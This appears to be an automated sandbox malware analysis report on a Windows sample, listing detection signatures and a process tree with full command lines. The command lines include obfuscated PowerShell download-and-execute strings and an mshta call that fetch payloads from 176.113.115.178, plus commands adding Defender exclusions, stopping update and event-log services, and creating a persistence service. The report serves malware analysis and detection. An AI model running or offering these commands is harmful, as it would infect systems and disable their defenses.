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Windows
Analysis Report
file.exe
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Yara detected Powershell download and execute
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Downloads files with wrong headers with respect to MIME Content-Type
Found direct / indirect Syscall (likely to bypass EDR)
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
PE file contains section with special chars
Potential malicious VBS script found (suspicious strings)
Powershell drops PE file
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to evade debugger and weak emulator (self modifying code)
Uses powercfg.exe to modify the power settings
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- file.exe (PID: 6492 cmdline:
"C:\Users\ user\Deskt op\file.ex e" MD5: 16B50170FDA201194A611CA41219BE7D) - wscript.exe (PID: 4508 cmdline:
"wscript" C:\Users\u ser\AppDat a\Local\Te mp\tempScr ipt.js MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 404 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $c1='%%(N% %ew-O%%%bj e%%%ct N%% %et.W%%%e' ; $c4='b%% Cl%%%%ie%% nt%%).%%%D %%%ow%nl%% o%%'; $c3= 'a%%dSt%%% %ri%%%%%n% %%g(''http ://176.113 .115.178/F F/2.png'') ';$TC=($c1 ,$c4,$c3 - Join '');$ TC=$TC.rep lace('%',' ');I`E`X $ TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6324 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7352 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\CMD.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 7400 cmdline:
"C:\Window s\System32 \cmd.exe" /c mshta h ttp://176. 113.115.17 8/Windows- Update MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - mshta.exe (PID: 7444 cmdline:
mshta http ://176.113 .115.178/W indows-Upd ate MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7616 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $c1='%%(N% %ew-O%%%bj e%%%ct N%% %et.W%%%e' ; $c4='b%% Cl%%%%ie%% nt%%).%%%D %%%ow%nl%% o%%'; $c3= 'a%%dSt%%% %ri%%%%%n% %%g(''http ://176.113 .115.178/F F/1.png'') ';$TC=($c1 ,$c4,$c3 - Join '');$ TC=$TC.rep lace('%',' ');I`E`X $ TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7636 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7784 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" Add-MpPref erence -Ex clusionPat h c:\ MD5: 04029E121A0CFA5991749937DD22A1D9) - WmiPrvSE.exe (PID: 7928 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - LB31.exe (PID: 3352 cmdline:
"C:\Users\ user\AppDa ta\Roaming \LB31.exe" MD5: C9E6AA21979D5FC710F1F2E8226D9DFE) - powershell.exe (PID: 8084 cmdline:
C:\Windows \system32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amData) -E xclusionEx tension '. exe' -Forc e MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8080 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 2184 cmdline:
C:\Windows \system32\ cmd.exe /c wusa /uni nstall /kb :890830 /q uiet /nore start MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4924 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wusa.exe (PID: 6088 cmdline:
wusa /unin stall /kb: 890830 /qu iet /nores tart MD5: FBDA2B8987895780375FE0E6254F6198) - sc.exe (PID: 6104 cmdline:
C:\Windows \system32\ sc.exe sto p UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 4068 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 6564 cmdline:
C:\Windows \system32\ sc.exe sto p WaaSMedi cSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 4592 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 5544 cmdline:
C:\Windows \system32\ sc.exe sto p wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 6756 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 880 cmdline:
C:\Windows \system32\ sc.exe sto p bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 4200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 1812 cmdline:
C:\Windows \system32\ sc.exe sto p dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 612 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 504 cmdline:
C:\Windows \system32\ powercfg.e xe /x -hib ernate-tim eout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 8184 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 2672 cmdline:
C:\Windows \system32\ powercfg.e xe /x -hib ernate-tim eout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 5292 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 6516 cmdline:
C:\Windows \system32\ powercfg.e xe /x -sta ndby-timeo ut-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 2760 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 6068 cmdline:
C:\Windows \system32\ powercfg.e xe /x -sta ndby-timeo ut-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 6820 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - dialer.exe (PID: 2748 cmdline:
C:\Windows \system32\ dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93) - winlogon.exe (PID: 560 cmdline:
winlogon.e xe MD5: F8B41A1B3E569E7E6F990567F21DCE97) - lsass.exe (PID: 652 cmdline:
C:\Windows \system32\ lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A) - svchost.exe (PID: 928 cmdline:
C:\Windows \system32\ svchost.ex e -k DcomL aunch -p - s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - dwm.exe (PID: 996 cmdline:
"dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C) - svchost.exe (PID: 436 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s g psvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - sc.exe (PID: 6816 cmdline:
C:\Windows \system32\ sc.exe del ete "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7472 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7872 cmdline:
C:\Windows \system32\ sc.exe cre ate "LIB" binpath= " C:\Program Data\Mig\M ig.exe" st art= "auto " MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7984 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 6644 cmdline:
C:\Windows \system32\ sc.exe sto p eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 6780 cmdline:
C:\Windows \system32\ sc.exe sta rt "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 2432 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 936 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $c1='%%(N% %ew-O%%%bj e%%%ct N%% %et.W%%%e' ; $c4='b%% Cl%%%%ie%% nt%%).%%%D %%%ow%nl%% o%%'; $c3= 'a%%dSt%%% %ri%%%%%n% %%g(''http ://176.113 .115.178/F F/3.png'') ';$TC=($c1 ,$c4,$c3 - Join '');$ TC=$TC.rep lace('%',' ');I`E`X $ TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 1112 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- svchost.exe (PID: 7608 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- Mig.exe (PID: 4140 cmdline:
C:\Program Data\Mig\M ig.exe MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Change of critical system settings |
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Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
HIPS / PFW / Operating System Protection Evasion |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-18T13:49:11.657939+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.6 | 49715 | 176.113.115.178 | 80 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Avira: |
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | ReversingLabs: | ||
Source: | ReversingLabs: |
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: | ||
Source: | Joe Sandbox ML: |
Source: | Joe Sandbox ML: |
Source: | Static PE information: |
Source: | Static PE information: |
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: |
Source: | Code function: | 16_2_000001DCB14EDCE0 | |
Source: | Code function: | 19_2_000002246446DCE0 | |
Source: | Code function: | 54_2_000002D0165EDCE0 | |
Source: | Code function: | 62_2_000002D6F151DCE0 | |
Source: | Code function: | 63_2_0000014E41FDDCE0 | |
Source: | Code function: | 64_2_000001D15B05DCE0 |
Software Vulnerabilities |
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Source: | Child: |
Networking |
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Source: | Image file has PE prefix: |